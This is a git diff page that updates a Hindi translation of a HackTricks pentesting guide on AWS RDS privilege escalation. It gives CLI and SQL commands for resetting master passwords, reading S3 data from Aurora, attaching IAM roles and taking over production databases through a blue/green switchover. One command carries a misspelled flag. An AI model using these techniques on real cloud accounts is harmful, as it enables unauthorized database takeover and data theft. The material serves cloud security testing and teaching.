mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+50
-30
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS - रिलेशनल डेटाबेस सर्विस
|
||||
## RDS - Relational Database Service
|
||||
|
||||
RDS के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
@@ -12,7 +12,7 @@ RDS के बारे में अधिक जानकारी के ल
|
||||
|
||||
### `rds:ModifyDBInstance`
|
||||
|
||||
उस अनुमति के साथ एक हमलावर **मास्टर उपयोगकर्ता का पासवर्ड बदल सकता है**, और डेटाबेस के अंदर का लॉगिन भी बदल सकता है:
|
||||
उस अनुमति के साथ एक हमलावर **मास्टर उपयोगकर्ता का पासवर्ड बदल सकता है**, और डेटाबेस के अंदर लॉगिन बदल सकता है:
|
||||
```bash
|
||||
# Get the DB username, db name and address
|
||||
aws rds describe-db-instances
|
||||
@@ -27,30 +27,30 @@ aws rds modify-db-instance \
|
||||
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
|
||||
```
|
||||
> [!WARNING]
|
||||
> आपको **डेटाबेस से संपर्क कर पाने में सक्षम होना होगा** (वे आमतौर पर केवल नेटवर्क के अंदर से ही एक्सेस किए जा सकते हैं)।
|
||||
> आपको **contact to the database** करने में सक्षम होना चाहिए (ये आमतौर पर केवल नेटवर्क के अंदर से ही पहुंचने योग्य होते हैं)।
|
||||
|
||||
**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी मिल सकती है।
|
||||
**Potential Impact:** डेटाबेस के भीतर संवेदनशील जानकारी मिल सकती है।
|
||||
|
||||
### rds-db:connect
|
||||
|
||||
According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
|
||||
According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) इस permission वाले उपयोगकर्ता DB instance से कनेक्ट कर सकते हैं।
|
||||
|
||||
### RDS Role IAM permissions का दुरुपयोग
|
||||
### Abuse RDS Role IAM permissions
|
||||
|
||||
#### Postgresql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> यदि **`SELECT datname FROM pg_database;`** चलाने पर आपको **`rdsadmin`** नाम का डेटाबेस मिलता है, तो आप जानते हैं कि आप एक **AWS postgresql database** के अंदर हैं।
|
||||
> यदि आप **`SELECT datname FROM pg_database;`** चलाते हैं और आपको **`rdsadmin`** नाम का database मिलता है, तो आप जान जाते हैं कि आप एक **AWS postgresql database** के अंदर हैं।
|
||||
|
||||
सबसे पहले आप यह जाँच सकते हैं कि इस डेटाबेस का उपयोग किसी अन्य AWS service तक पहुँचने के लिए किया गया है या नहीं। आप इंस्टॉल किए गए extensions देखकर यह जाँच सकते हैं:
|
||||
सबसे पहले आप जाँच सकते हैं कि क्या इस database का उपयोग किसी अन्य AWS service तक पहुँचने के लिए किया गया है। आप इसे इंस्टॉल किए गए extensions देखकर चेक कर सकते हैं:
|
||||
```sql
|
||||
SELECT * FROM pg_extension;
|
||||
```
|
||||
यदि आप कुछ इस तरह देखते हैं **`aws_s3`** तो आप मान सकते हैं कि यह डेटाबेस **S3 पर किसी तरह की पहुँच** रखता है (अन्य एक्सटेंशन्स भी हैं जैसे **`aws_ml`** और **`aws_lambda`**)।
|
||||
यदि आपको **`aws_s3`** जैसा कुछ मिलता है तो आप मान सकते हैं कि इस डेटाबेस के पास **S3 पर किसी प्रकार की पहुँच** है (अन्य एक्सटेंशन्स भी हैं जैसे **`aws_ml`** और **`aws_lambda`**)।
|
||||
|
||||
साथ ही, अगर आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमतियाँ हैं तो आप वहां देख सकते हैं कि फ़ील्ड **`AssociatedRoles`** में **cluster पर कोई IAM Role जुड़ा हुआ है** या नहीं। अगर है, तो आप मान सकते हैं कि डेटाबेस को **अन्य AWS services तक पहुँच के लिए तैयार** किया गया था। Role के **नाम** के आधार पर (या अगर आप role की **अनुमतियाँ** प्राप्त कर सकें) आप **अनुमान** लगा सकते हैं कि डेटाबेस के पास अतिरिक्त कौनसी पहुँच है।
|
||||
Also, अगर आपके पास **`aws rds describe-db-clusters`** चलाने की permissions हैं तो आप वहाँ देख सकते हैं कि **cluster के पास कोई IAM Role attached है** या नहीं, फील्ड **`AssociatedRoles`** में। अगर है, तो आप मान सकते हैं कि डेटाबेस को **अन्य AWS services तक पहुँचने के लिए तैयार किया गया था**। role के **name** के आधार पर (या अगर आप role के **permissions** प्राप्त कर सकते हैं) आप यह **guess** कर सकते हैं कि डेटाबेस को कौन सा अतिरिक्त access मिला है।
|
||||
|
||||
अब, किसी **bucket के अंदर फ़ाइल पढ़ने** के लिए आपको पूरा path जानना होगा। आप इसे पढ़ सकते हैं:
|
||||
अब, किसी **bucket के अंदर फाइल पढ़ने** के लिए आपको पूरा path पता होना चाहिए। आप इसे पढ़ सकते हैं:
|
||||
```sql
|
||||
// Create table
|
||||
CREATE TABLE ttemp (col TEXT);
|
||||
@@ -71,7 +71,7 @@ SELECT * from ttemp;
|
||||
// Delete table
|
||||
DROP TABLE ttemp;
|
||||
```
|
||||
यदि आपके पास **raw AWS credentials** होते, तो आप उनका उपयोग S3 डेटा तक पहुँचने के लिए भी कर सकते थे:
|
||||
यदि आपके पास **raw AWS credentials** होते, तो आप उन्हें S3 डेटा तक पहुँचने के लिए भी उपयोग कर सकते हैं:
|
||||
```sql
|
||||
SELECT aws_s3.table_import_from_s3(
|
||||
't', '', '(format csv)',
|
||||
@@ -80,16 +80,16 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
|
||||
);
|
||||
```
|
||||
> [!NOTE]
|
||||
> Postgresql **किसी parameter group variable को बदलने की आवश्यकता नहीं है** ताकि यह S3 तक पहुँच सके।
|
||||
> Postgresql **S3 तक पहुँचने के लिए किसी parameter group variable को बदलने की ज़रूरत नहीं है**।
|
||||
|
||||
#### Mysql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> एक mysql के अंदर, यदि आप क्वेरी **`SELECT User, Host FROM mysql.user;`** चलाते हैं और वहाँ **`rdsadmin`** नाम का user है, तो आप मान सकते हैं कि आप एक **AWS RDS mysql db** के अंदर हैं।
|
||||
> किसी mysql के अंदर, यदि आप query **`SELECT User, Host FROM mysql.user;`** चलाते हैं और वहाँ **`rdsadmin`** नाम का user है, तो आप मान सकते हैं कि आप एक **AWS RDS mysql db** के अंदर हैं।
|
||||
|
||||
mysql के अंदर **`show variables;`** चलाएँ और यदि **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** जैसी variables की values मौजूद हैं, तो आप मान सकते हैं कि डेटाबेस S3 डेटा तक पहुँचने के लिए तैयार है।
|
||||
mysql के अंदर **`show variables;`** चलाएँ और यदि **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** जैसे variables के पास values हैं, तो आप मान सकते हैं कि database S3 डेटा तक पहुँचने के लिए तैयार है।
|
||||
|
||||
इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की permissions हैं, तो आप जांच सकते हैं कि क्लस्टर के पास कोई **associated role** है या नहीं, जो आमतौर पर AWS services तक पहुँच का संकेत देता है).
|
||||
इसके अलावा, अगर आपके पास **`aws rds describe-db-clusters`** चलाने की permissions हैं तो आप चेक कर सकते हैं कि cluster के पास कोई **associated role** है या नहीं, जो आम तौर पर AWS services तक पहुँच का संकेत होता है).
|
||||
|
||||
अब, **bucket के अंदर फ़ाइल पढ़ने के लिए** आपको पूरा path जानना होगा। आप इसे पढ़ सकते हैं:
|
||||
```sql
|
||||
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
|
||||
```
|
||||
### `rds:AddRoleToDBCluster`, `iam:PassRole`
|
||||
|
||||
`rds:AddRoleToDBCluster` और `iam:PassRole` permissions वाले attacker एक मौजूदा RDS instance में **एक निर्दिष्ट role जोड़ सकता है**। यह attacker को **संवेदनशील डेटा तक पहुँचने** या instance के भीतर डेटा संशोधित करने की अनुमति दे सकता है।
|
||||
इन अनुमतियों `rds:AddRoleToDBCluster` और `iam:PassRole` वाले attacker **किसी मौजूदा RDS instance में एक निर्दिष्ट role जोड़ सकते हैं**। इससे attacker को **संवेदनशील डेटा तक पहुँच** या instance के भीतर डेटा में परिवर्तन करने की अनुमति मिल सकती है।
|
||||
```bash
|
||||
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
|
||||
```
|
||||
**Potential Impact**: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत संशोधन।\\
|
||||
ध्यान दें कि कुछ DBs को अतिरिक्त configs की आवश्यकता होती है, जैसे Mysql, जिसके लिए role ARN को aprameter groups में भी निर्दिष्ट करना होता है।
|
||||
**Potential Impact**: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत संशोधन।\
|
||||
Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also.
|
||||
|
||||
### `rds:CreateDBInstance`
|
||||
|
||||
सिर्फ इस permission के साथ एक attacker पहले से मौजूद cluster के अंदर एक **नया इंस्टेंस (new instance inside a cluster)** बना सकता है और उस पर एक **IAM role** जुड़ी हुई हो सकती है। वह मास्टर उपयोगकर्ता पासवर्ड बदल नहीं पाएगा, लेकिन वह नए डेटाबेस इंस्टेंस को इंटरनेट पर उजागर कर सकता है:
|
||||
केवल इस permission के साथ एक attacker उस cluster के अंदर एक **नया instance** बना सकता है जो पहले से मौजूद है और जिस पर एक **IAM role** संलग्न है। वह master user password बदल नहीं पाएगा, लेकिन संभवतः नया database instance इंटरनेट के लिए एक्सपोज़ कर सकता है:
|
||||
```bash
|
||||
aws --region eu-west-1 --profile none-priv rds create-db-instance \
|
||||
--db-instance-identifier mydbinstance2 \
|
||||
@@ -122,30 +122,50 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
|
||||
### `rds:CreateDBInstance`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: परीक्षण करें
|
||||
> TODO: परीक्षण
|
||||
|
||||
`rds:CreateDBInstance` और `iam:PassRole` अनुमतियों वाले एक attacker **नियत role संलग्न करके एक नया RDS instance बना सकता है**। attacker फिर संभावित रूप से **संवेदनशील डेटा तक पहुँच** सकता है या instance के भीतर डेटा संशोधित कर सकता है।
|
||||
एक attacker जिसके पास permissions `rds:CreateDBInstance` और `iam:PassRole` हैं, वह **निर्दिष्ट role संलग्न करके नया RDS instance बना सकता है**। फिर attacker संभावित रूप से **संवेदनशील डेटा तक पहुँच सकता है** या instance के भीतर डेटा संशोधित कर सकता है।
|
||||
|
||||
> [!WARNING]
|
||||
> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
> attach करने के लिए role/instance-profile की कुछ आवश्यकताएँ (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
|
||||
> - The profile आपके account में मौजूद होना चाहिए।
|
||||
> - The profile में एक IAM role होना चाहिए जिसे Amazon EC2 के पास assume करने की permissions हों।
|
||||
> - The instance profile name और associated IAM role name को prefix `AWSRDSCustom` से शुरू होना चाहिए।
|
||||
> - प्रोफ़ाइल आपके account में मौजूद होनी चाहिए।
|
||||
> - प्रोफ़ाइल में ऐसा IAM role होना चाहिए जिसे Amazon EC2 के पास assume करने की permissions हों।
|
||||
> - instance profile name और संबंधित IAM role name `AWSRDSCustom` prefix से शुरू होना चाहिए।
|
||||
```bash
|
||||
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
|
||||
```
|
||||
**Potential Impact**: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत संशोधन।
|
||||
**संभावित प्रभाव**: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत परिवर्तन।
|
||||
|
||||
### `rds:AddRoleToDBInstance`, `iam:PassRole`
|
||||
|
||||
इन permissions `rds:AddRoleToDBInstance` और `iam:PassRole` वाले एक हमलावर के लिए किसी मौजूदा RDS instance में **एक निर्दिष्ट role जोड़ना** संभव है। इससे हमलावर को **संवेदनशील डेटा तक पहुँच** या instance के भीतर डेटा में संशोधन करने की अनुमति मिल सकती है।
|
||||
एक attacker जिसके पास permissions `rds:AddRoleToDBInstance` और `iam:PassRole` हैं, वह **मौजूदा RDS instance में एक निर्दिष्ट role जोड़ सकता है**। इससे attacker को **संवेदनशील डेटा तक पहुँच** या instance के भीतर डेटा में परिवर्तन करने की अनुमति मिल सकती है।
|
||||
|
||||
> [!WARNING]
|
||||
> इसके लिए DB instance को cluster के बाहर होना चाहिए।
|
||||
> इसके लिए DB instance cluster के बाहर होना चाहिए
|
||||
```bash
|
||||
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
|
||||
```
|
||||
**संभावित प्रभाव**: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत संशोधन।
|
||||
**संभावित प्रभाव**: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत परिवर्तन।
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
|
||||
|
||||
इन permissions वाले attacker production database (Blue) को clone कर सकता है, clone (Green) पर एक उच्च-privilege IAM role attach कर सकता है, और फिर switchover का उपयोग करके production environment को replace कर सकता है। इससे attacker डेटाबेस के privileges बढ़ाकर अन्य AWS resources तक अनधिकृत पहुँच प्राप्त कर सकता है।
|
||||
```bash
|
||||
# Create a Green deployment (clone) of the production cluster
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name <name> \
|
||||
--source <production-db-cluster-arn>
|
||||
|
||||
# Attach a high-privilege IAM role to the Green cluster
|
||||
aws rds add-role-to-db-cluster \
|
||||
--db-cluster-identifier <green-cluster-id> \
|
||||
--role-arn <high-privilege-iam-role-arn>
|
||||
|
||||
# Switch the Green environment to Production
|
||||
aws rds switchover-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <deployment-id>
|
||||
```
|
||||
**संभावित प्रभाव**: प्रोडक्शन डेटाबेस पर्यावरण का पूरा कब्ज़ा। स्विचओवर के बाद, डेटाबेस उन्नत विशेषाधिकारों के साथ चलता है, जिससे डेटाबेस के भीतर से अन्य AWS सेवाओं (e.g., S3, Lambda, Secrets Manager) तक अनधिकृत पहुँच संभव हो जाती है।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user